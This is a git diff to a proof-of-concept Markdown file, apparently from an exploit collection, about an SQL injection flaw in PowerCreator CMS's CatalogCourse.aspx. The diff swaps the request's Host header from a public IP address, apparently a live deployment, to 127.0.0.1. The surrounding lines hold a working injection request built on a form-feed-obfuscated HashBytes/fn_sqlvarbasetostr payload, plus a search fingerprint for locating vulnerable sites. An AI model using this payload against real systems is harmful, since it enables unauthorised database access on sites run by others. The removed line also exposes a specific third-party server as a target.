diff --git a/wpoc/PowerCreator/PowerCreator接口CatalogCourse.aspx存在sql注入漏洞.md b/wpoc/PowerCreator/PowerCreator接口CatalogCourse.aspx存在sql注入漏洞.md
index b0fb066..e27ed70 100644
--- a/wpoc/PowerCreator/PowerCreator接口CatalogCourse.aspx存在sql注入漏洞.md
+++ b/wpoc/PowerCreator/PowerCreator接口CatalogCourse.aspx存在sql注入漏洞.md
@@ -14,7 +14,7 @@ app="PowerCreator-CMS"
 
 ```yaml
 GET /CatalogCourse.aspx?cid=1%0Cand%0C1=sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27123456%27))-- HTTP/1.1
-Host: 221.199.170.130:88
+Host: 127.0.0.1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
 Accept: */*
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2